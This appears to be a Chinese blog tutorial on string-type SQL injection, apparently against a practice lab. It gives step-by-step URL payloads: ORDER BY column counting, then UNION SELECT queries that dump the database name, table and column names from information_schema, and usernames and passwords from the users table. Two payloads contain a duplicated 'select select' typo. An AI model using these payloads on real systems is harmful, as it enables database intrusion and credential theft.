Error Based-String--SQL注入

1、首先判断是什么型注入

?id=1 and 1=1 --+ //页面显示正常
?id=1 and 1=2 --+ //页面显示正常,因此是不是数字型注入

?id=1’ and 1=2 --+ //页面显示不正常
?id=1’ and 1=1 --+ //页面显示正常,因此是字符型注入

2、判断数据表的列数

?id=1' order by 4--+ //页面显示不正常,说明少于4列

?id=1' order by 3--+ //页面正常,说明存在3列

3、判断数据库名

由于页面只能显示一行数据,因此我们需要输入

?id=-1' union select select 1,2,3--+

我们可以看出2,3都可以显示在页面,因此我们使用database()数据库函数就可以查处当前使用的数据库的名字--security。

?id=-1' union select select 1,database(),3--+

4、判断数据库所有表的名字

因为页面只能显示一条数据,因此我们需要使用group_concat()聚合函数将要查询的结果显示成一条结果。

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

5、判断数据库某个表的所有字段的名字

例如:users表

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

我们可以得到三个字段:id,username,password

6、判断表里的所有数据

?id=-1' union select 1,group_concat(id,'~',username,'~',password),3  from users--+

由于字段之间没有分隔符,分不清哪个值是哪个字段的数据,因此我们加上分隔符。

以上就是SQL注入的所有流程了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值